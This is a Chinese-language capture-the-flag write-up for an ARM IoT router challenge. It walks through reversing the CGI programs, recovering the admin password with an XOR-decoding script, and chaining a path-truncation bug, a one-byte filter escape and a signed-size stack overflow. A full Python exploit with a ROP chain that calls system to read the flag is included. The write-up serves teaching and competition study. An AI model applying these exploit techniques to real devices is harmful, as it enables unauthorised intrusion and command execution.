题目分析
启动脚本只开放了一个 80 端口
1 2 3 4 5 6 7 8 9
| sudo qemu-system-arm \ -M versatilepb \ -m 256 \ -kernel vmlinuz-3.2.0-4-versatile \ -initrd initrd.img-3.2.0-4-versatile \ -hda debian_wheezy_armel_standard.qcow2 \ -append "root=/dev/sda1 console=ttyAMA0" \ -net nic -net user,hostfwd=tcp::80-:80 \ -nographic
|
先挂载 qcow 文件,提取文件系统
1 2 3 4 5 6 7 8 9 10 11 12 13
| sudo modprobe nbd max_part=8
sudo qemu-nbd -c /dev/nbd0 your_image.qcow2
sudo fdisk -l /dev/nbd0
sudo mount /dev/nbd0p1 /mnt
ls /mnt
sudo umount /mnt sudo qemu-nbd -d /dev/nbd0
|
启动后看到 lighttpd 进程,/var/www 是 web 服务的根目录


CGI 分析
先来分析下每个 cgi 的功能
auth.cgi
index 在登录的时候往 auth.cgi 发送 POST 请求

先对 password 进行了加密,然后和/tmp/store/users.txt 文件中的密文进行对比

1 2
| root@debian-armel:/tmp/store# cat users.txt admin:dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA==
|
ai 写一个解密脚本,得到 admin 账号的密码是 8g323##a08h33zx33@!B!$$$$$$$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import base64
encrypted_password = "dlZ4bWFsdjUDaiYCeCUqfGYUEhBvFW97dmtxcA=="
key = "N1K_ROUT3R"
decoded = base64.b64decode(encrypted_password) print(f"Base64 decoded bytes: {decoded.hex()}") print(f"Length: {len(decoded)}")
password = bytearray() for i in range(len(decoded)): xor_byte = decoded[i] ^ ord(key[i % len(key)]) password.append(xor_byte)
try: decrypted_password = password.decode('ascii') print(f"\nDecrypted password: {decrypted_password}") except: print(f"\nDecrypted password (hex): {password.hex()}") print(f"Decrypted password (raw bytes): {bytes(password)}")
|
登录之后的后台界面

upload.cgi
actions:
- fake_upload:一个假的上传接口
- download:根据 path 参数,读取文件内容,但限制了文件最后几个字节是 nik.gif 和黑白名单检测
- upload_pubkey:根据 filecontent 的内容往/tmp/store/publicfile.txt 写入内容
manage.cgi
actions:
- status/dashboard:无实际功能
- viewconf:读/tmp/store/config.txt 文件的前 0x1000 字节
- logs:读/tmp/store/logs.txt 文件的前 0x2000 字节
- diag:限制 cmd==df
- ping:限制 ip==127.0.0.1
- speedtest:无实际功能
- logout:无实际功能
- id:读/tmp/store/id.txt 文件的前 0x100 字节
- dump_payload:hex dump dword_13484 的内容
- id_save:将 id_val 的值写入/tmp/store/id.txt 文件
- set_publicfile:将/tmp/store/publicfile.txt 的内容十六进制转 bytes,过滤字符后,根据 cnt1 和 cnt2 将指定字节写入 dword_13484[cnt2]
watch
往/tmp/rootkey 文件里写随机字节
漏洞分析
root 功能的负数溢出+栈溢出
manage.cgi 当传入 rk 参数的时候,会调用 rook 功能的后门函数


功能将/tmp/store/id.txt 文件的内容,转换成整数,然后从 dword_13484 中拷贝 size 大小的数据到栈上。由于 size 是有符号比较,负数的时候可以绕过检查,拷贝一块巨大的内容到栈上。buf[(size ^ 0x13) & 1])实际上调用的还是 xor_decrypt_data,然后 size 作为 memcpy 参数进行拷贝。



路径截断
upload.cgi 的 action=download 中,snprintf 只保存了 0x60 字节,之后的内容会被截断,所以我们可以构造././XXXXX./rootKeynik.gif 绕过检查,读取/tmp/rootkey

字符逃逸
manage.cgi 的 set_publicfile 功能,会过滤/tmp/store/publicfile.txt 文件中的字符,然后根据 cnt1 和 cnt2 参数,向 dword_13484 中写入一个字节。

在字符过滤功能中,当 v21 等于 80 的时候会不经过过滤直接拷贝到 v35[81],导致单字节逃逸。


漏洞利用
整理一下利用思路:
- 解密 admin 密码后,调用 watch 创建 rootKey 文件
- 利用 upload_pubkey 和 set_publicfile 逐字节往 dword_13484 中写入 payload
- manage.cgi 中将 dword_13484 映射到了共享内存,可以作为 cmd 参数的地址
- 执行 root_key 功能将 dword_13484 的数据写到栈上,劫持控制流,执行 cat /home/ctf/flag > /tmp/store/logs.txt
- 利用 logs 功能输出 flag 内容
由于题目没有随机化,所以不需要泄露,直接执行 system 把 flag 重定向到 logs.txt 然后通过 action=logs 读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
|
from pwnkit import * import requests import binascii
args = init_pwn_args() binary = ELF("./rootfs/usr/sbin/lighttpd") args.info.binary = context.binary = binary args.info.target = {"host": args.host or "127.0.0.1", "port": args.port or 80}
if not args.remote: _host, _port = gift.dbgsrv.init() host, port = "127.0.0.1", 80 pk.core.config.config_context_terminal() else: host, port = args.info.target["host"], args.info.target["port"]
""" >>> exploit goes here <<< """
session = requests.Session()
def login(username, password): url = f"http://{host}:{port}/cgi-bin/auth.cgi" resp = session.post(url, data={"username": username, "password": password}, allow_redirects=False) print(resp.cookies, resp.text)
def watch(): url = f"http://{host}:{port}/cgi-bin/watch" resp = session.get(url) print(resp.text)
def download(path): url = f"http://{host}:{port}/cgi-bin/upload.cgi?action=download&path={path}" resp = session.get(url) print(resp.text) return resp.text
def upload_pubkey(content): url = f"http://{host}:{port}/cgi-bin/upload.cgi" resp = session.post(url, data={"action": "upload_pubkey", "filecontent": content})
def id_save(id_val): url = f"http://{host}:{port}/cgi-bin/manage.cgi" resp = session.post(url, data={"action": "id_save", "id_val": id_val}) print(resp.text)
def set_publicfile(cnt1, cnt2): url = f"http://{host}:{port}/cgi-bin/manage.cgi" resp = session.post(url, data={"action": "set_publicfile", "cnt1": cnt1, "cnt2": cnt2})
def root_function(root_key): url = f"http://{host}:{port}/cgi-bin/manage.cgi" resp = session.post(url, data={"rk": root_key}) print(resp.text)
def logs(): url = f"http://{host}:{port}/cgi-bin/manage.cgi" resp = session.post(url, data={"action": "logs"}) print(resp.text)
login("admin", "8g323##a08h33zx33@!B!$$$$$$$") watch() root_key = download("./././././././././././././././././././././././././././././././././././././././././/rootkeynik.gif") assert root_key
libc_addr = 0xb6e8f000 pop_lr = libc_addr + 0x00015b24 pop_r0_lr = libc_addr + 0x0010c730 system = libc_addr + 0x38d34 shm_addr = 0xb6ffc000 payload = b"\x7f" + cyclic(0x23) payload += p32(pop_r0_lr) payload += p32(shm_addr + 0x24 + 0x4 * 3) payload += p32(system) payload += b"cat /home/ctf/flag > /tmp/store/logs.txt\x00"
for idx, val in enumerate(payload): print(f"set {hex(idx)} -> {hex(val)[2:]}") upload_pubkey("00" * 80 + hex(val)[2:]) set_publicfile(80, idx)
id_save("-1") root_function(root_key)
|
因为调用 root_key 之后,函数无法正常返回,reqests 会一直等待响应,所以需要单独 logs 函数,获取 flag
1 2
| login("admin", "8g323##a08h33zx33@!B!$$$$$$$") logs()
|

Poor communication protocol
文章发布于看雪论坛:[原创]利用 AI 复现 2025 强网拟态初赛 2 解 IoT 题目:Poor communication protocol